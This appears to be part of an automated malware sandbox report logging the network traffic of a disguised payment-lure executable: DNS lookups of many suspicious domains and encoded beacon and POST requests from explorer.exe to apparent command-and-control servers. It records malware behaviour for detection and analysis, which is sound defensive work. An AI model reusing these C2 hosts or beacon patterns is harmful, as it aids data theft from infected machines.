Aug 29, 2023 22:45:16.793433905 CEST	61935	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:45:16.998136044 CEST	53	61935	1.1.1.1	192.168.11.20
Aug 29, 2023 22:45:23.372117996 CEST	51674	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:45:23.741080046 CEST	53	51674	1.1.1.1	192.168.11.20
Aug 29, 2023 22:45:36.806785107 CEST	50765	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:45:36.831624031 CEST	53	50765	1.1.1.1	192.168.11.20
Aug 29, 2023 22:45:49.553970098 CEST	63850	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:45:49.640969038 CEST	53	63850	1.1.1.1	192.168.11.20
Aug 29, 2023 22:46:02.519793987 CEST	56526	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:46:02.782005072 CEST	53	56526	1.1.1.1	192.168.11.20
Aug 29, 2023 22:46:17.813318968 CEST	50558	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:46:18.272309065 CEST	53	50558	1.1.1.1	192.168.11.20
Aug 29, 2023 22:46:32.075836897 CEST	54252	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:46:32.456197977 CEST	53	54252	1.1.1.1	192.168.11.20
Aug 29, 2023 22:46:46.244556904 CEST	57861	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:46:46.358954906 CEST	53	57861	1.1.1.1	192.168.11.20
Aug 29, 2023 22:46:59.445208073 CEST	64784	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:46:59.755012035 CEST	53	64784	1.1.1.1	192.168.11.20
Aug 29, 2023 22:47:13.332320929 CEST	60735	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:47:13.367561102 CEST	53	60735	1.1.1.1	192.168.11.20
Aug 29, 2023 22:47:26.001985073 CEST	62717	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:47:26.020642042 CEST	53	62717	1.1.1.1	192.168.11.20
Aug 29, 2023 22:47:34.077649117 CEST	58690	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:47:34.401094913 CEST	53	58690	1.1.1.1	192.168.11.20
Aug 29, 2023 22:49:02.842550039 CEST	52825	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:49:03.145045996 CEST	53	52825	1.1.1.1	192.168.11.20
Aug 29, 2023 22:49:09.744158030 CEST	61719	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:49:10.217684031 CEST	53	61719	1.1.1.1	192.168.11.20
Aug 29, 2023 22:50:05.747503042 CEST	57784	53	192.168.11.20	1.1.1.1
Aug 29, 2023 22:50:05.781052113 CEST	53	57784	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2023 22:43:02.494046926 CEST	192.168.11.20	1.1.1.1	0x62dc	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:43:03.091398954 CEST	192.168.11.20	1.1.1.1	0x88c3	Standard query (0)	doc-00-7o-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:20.263657093 CEST	192.168.11.20	1.1.1.1	0xbe31	Standard query (0)	www.kepaoqin.top	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:36.680552006 CEST	192.168.11.20	1.1.1.1	0x8dff	Standard query (0)	www.handsome-sex.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:50.035767078 CEST	192.168.11.20	1.1.1.1	0x941b	Standard query (0)	www.sonokmall.info	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:03.798327923 CEST	192.168.11.20	1.1.1.1	0xacdc	Standard query (0)	www.zenturasolutions.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:16.793433905 CEST	192.168.11.20	1.1.1.1	0xb153	Standard query (0)	www.zenturasolutions.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:23.372117996 CEST	192.168.11.20	1.1.1.1	0xb292	Standard query (0)	www.wolfcapital.top	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:36.806785107 CEST	192.168.11.20	1.1.1.1	0x5502	Standard query (0)	www.openlend.lat	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:49.553970098 CEST	192.168.11.20	1.1.1.1	0xbd78	Standard query (0)	www.legalinmedia.online	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:02.519793987 CEST	192.168.11.20	1.1.1.1	0x3aeb	Standard query (0)	www.ladakhzesmo.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:17.813318968 CEST	192.168.11.20	1.1.1.1	0xad75	Standard query (0)	www.fgnvcmef.click	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:32.075836897 CEST	192.168.11.20	1.1.1.1	0x6961	Standard query (0)	www.jzakmrs.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:46.244556904 CEST	192.168.11.20	1.1.1.1	0xa83c	Standard query (0)	www.makeinai.online	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:59.445208073 CEST	192.168.11.20	1.1.1.1	0x2d0c	Standard query (0)	www.americanpawnstar.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:13.332320929 CEST	192.168.11.20	1.1.1.1	0xa8b5	Standard query (0)	www.wobita.net	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:26.001985073 CEST	192.168.11.20	1.1.1.1	0x331e	Standard query (0)	www.babagroup.xyz	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:34.077649117 CEST	192.168.11.20	1.1.1.1	0x8d10	Standard query (0)	www.m7q374.cfd	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:49:02.842550039 CEST	192.168.11.20	1.1.1.1	0xb2cc	Standard query (0)	www.m7q374.cfd	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:49:09.744158030 CEST	192.168.11.20	1.1.1.1	0x7b8d	Standard query (0)	www.ishikorori.com	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:50:05.747503042 CEST	192.168.11.20	1.1.1.1	0xbf43	Standard query (0)	www.zenturasolutions.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2023 22:43:02.507920027 CEST	1.1.1.1	192.168.11.20	0x62dc	No error (0)	drive.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:43:03.123847008 CEST	1.1.1.1	192.168.11.20	0x88c3	No error (0)	doc-00-7o-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 29, 2023 22:43:03.123847008 CEST	1.1.1.1	192.168.11.20	0x88c3	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:21.152700901 CEST	1.1.1.1	192.168.11.20	0xbe31	No error (0)	www.kepaoqin.top		107.148.17.67	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:36.700371027 CEST	1.1.1.1	192.168.11.20	0x8dff	No error (0)	www.handsome-sex.com	handsome-sex.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 29, 2023 22:44:36.700371027 CEST	1.1.1.1	192.168.11.20	0x8dff	No error (0)	handsome-sex.com		96.44.182.131	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:44:50.063929081 CEST	1.1.1.1	192.168.11.20	0x941b	No error (0)	www.sonokmall.info		162.0.239.145	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:03.815787077 CEST	1.1.1.1	192.168.11.20	0xacdc	No error (0)	www.zenturasolutions.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:16.998136044 CEST	1.1.1.1	192.168.11.20	0xb153	No error (0)	www.zenturasolutions.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:23.741080046 CEST	1.1.1.1	192.168.11.20	0xb292	No error (0)	www.wolfcapital.top	wolfcapital.top		CNAME (Canonical name)	IN (0x0001)	false
Aug 29, 2023 22:45:23.741080046 CEST	1.1.1.1	192.168.11.20	0xb292	No error (0)	wolfcapital.top		51.79.96.115	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:36.831624031 CEST	1.1.1.1	192.168.11.20	0x5502	No error (0)	www.openlend.lat		169.150.247.39	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:45:49.640969038 CEST	1.1.1.1	192.168.11.20	0xbd78	No error (0)	www.legalinmedia.online		91.189.114.27	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:02.782005072 CEST	1.1.1.1	192.168.11.20	0x3aeb	No error (0)	www.ladakhzesmo.com		119.18.54.51	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:18.272309065 CEST	1.1.1.1	192.168.11.20	0xad75	No error (0)	www.fgnvcmef.click		43.154.67.170	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:32.456197977 CEST	1.1.1.1	192.168.11.20	0x6961	No error (0)	www.jzakmrs.com		164.88.252.122	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:46.358954906 CEST	1.1.1.1	192.168.11.20	0xa83c	No error (0)	www.makeinai.online		37.140.192.187	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:46:59.755012035 CEST	1.1.1.1	192.168.11.20	0x2d0c	No error (0)	www.americanpawnstar.com		154.206.192.10	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:13.367561102 CEST	1.1.1.1	192.168.11.20	0xa8b5	No error (0)	www.wobita.net	wobita.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 29, 2023 22:47:13.367561102 CEST	1.1.1.1	192.168.11.20	0xa8b5	No error (0)	wobita.net		81.169.145.171	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:26.020642042 CEST	1.1.1.1	192.168.11.20	0x331e	Name error (3)	www.babagroup.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:47:34.401094913 CEST	1.1.1.1	192.168.11.20	0x8d10	No error (0)	www.m7q374.cfd		107.148.134.218	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:49:03.145045996 CEST	1.1.1.1	192.168.11.20	0xb2cc	No error (0)	www.m7q374.cfd		107.148.134.218	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:49:10.217684031 CEST	1.1.1.1	192.168.11.20	0x7b8d	No error (0)	www.ishikorori.com		157.7.107.119	A (IP address)	IN (0x0001)	false
Aug 29, 2023 22:50:05.781052113 CEST	1.1.1.1	192.168.11.20	0xbf43	No error (0)	www.zenturasolutions.com		127.0.0.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-00-7o-docs.googleusercontent.com

www.kepaoqin.top

www.handsome-sex.com

www.sonokmall.info

www.wolfcapital.top

www.openlend.lat

www.legalinmedia.online

www.ladakhzesmo.com

www.fgnvcmef.click

www.jzakmrs.com

www.makeinai.online

www.americanpawnstar.com

www.wobita.net

www.ishikorori.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49982	142.250.184.206	443	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49983	142.250.185.65	443	C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49992	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:58.349227905 CEST	607	OUT	GET /aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:44:58.616163969 CEST	608	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:44:58 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:58.616259098 CEST	609	IN	Data Raw: 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 Data Ascii: <circle cx="438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:58.616338968 CEST	610	IN	Data Raw: 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 Data Ascii: 7.1)" style="fill: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27
Aug 29, 2023 22:44:58.616420984 CEST	612	IN	Data Raw: 74 72 61 6e 73 6c 61 74 65 28 2d 33 31 30 2e 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 Data Ascii: translate(-310.2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="t
Aug 29, 2023 22:44:58.616477966 CEST	613	IN	Data Raw: 63 78 3d 22 35 37 32 2e 35 22 20 63 79 3d 22 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 Data Ascii: cx="572.5" cy="790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle c
Aug 29, 2023 22:44:58.616530895 CEST	614	IN	Data Raw: 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 Data Ascii: ill: #ffe029"/> <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill
Aug 29, 2023 22:44:58.616585016 CEST	616	IN	Data Raw: 61 74 65 28 2d 32 37 36 2e 39 20 33 35 35 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e Data Ascii: ate(-276.9 355.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="transla
Aug 29, 2023 22:44:58.616640091 CEST	617	IN	Data Raw: 38 22 20 63 79 3d 22 36 38 31 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c Data Ascii: 8" cy="681.2" r="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2
Aug 29, 2023 22:44:58.616697073 CEST	618	IN	Data Raw: 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 Data Ascii: ill: #ffe029"/> <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fi
Aug 29, 2023 22:44:58.616750002 CEST	620	IN	Data Raw: 2e 33 20 33 31 35 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 Data Ascii: .3 315.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6
Aug 29, 2023 22:44:58.790971994 CEST	621	IN	Data Raw: 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a Data Ascii: r="3.7" transform="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49996	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:23.839293957 CEST	654	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 69 52 73 54 58 6b 71 34 76 74 32 35 68 78 2b 51 58 68 78 47 46 6b 4e 2b 48 54 6d 38 76 7a 49 4e 71 67 76 32 37 49 50 54 47 33 69 66 33 53 77 74 49 65 58 63 57 49 52 49 31 2f 5a 79 7a 47 59 6f 59 34 43 67 4a 4c 7a 66 53 37 41 6b 48 75 34 37 61 38 65 33 6d 48 51 77 68 74 67 58 58 76 4d 6d 76 77 6f 46 68 4b 4c 6e 70 38 57 39 2b 47 41 43 42 48 7a 42 4d 58 58 46 5a 53 56 45 42 4b 49 65 59 61 4c 31 79 53 69 55 35 42 4e 58 4b 6f 4e 32 61 64 65 71 63 47 30 75 46 63 44 73 34 36 75 73 63 56 43 2f 51 3d 3d Data Ascii: 5Nag0d=4L3a1RfBkOmfriRsTXkq4vt25hx+QXhxGFkN+HTm8vzINqgv27IPTG3if3SwtIeXcWIRI1/ZyzGYoY4CgJLzfS7AkHu47a8e3mHQwhtgXXvMmvwoFhKLnp8W9+GACBHzBMXXFZSVEBKIeYaL1ySiU5BNXKoN2adeqcG0uFcDs46uscVC/Q==
Aug 29, 2023 22:45:23.936188936 CEST	655	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:45:23 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 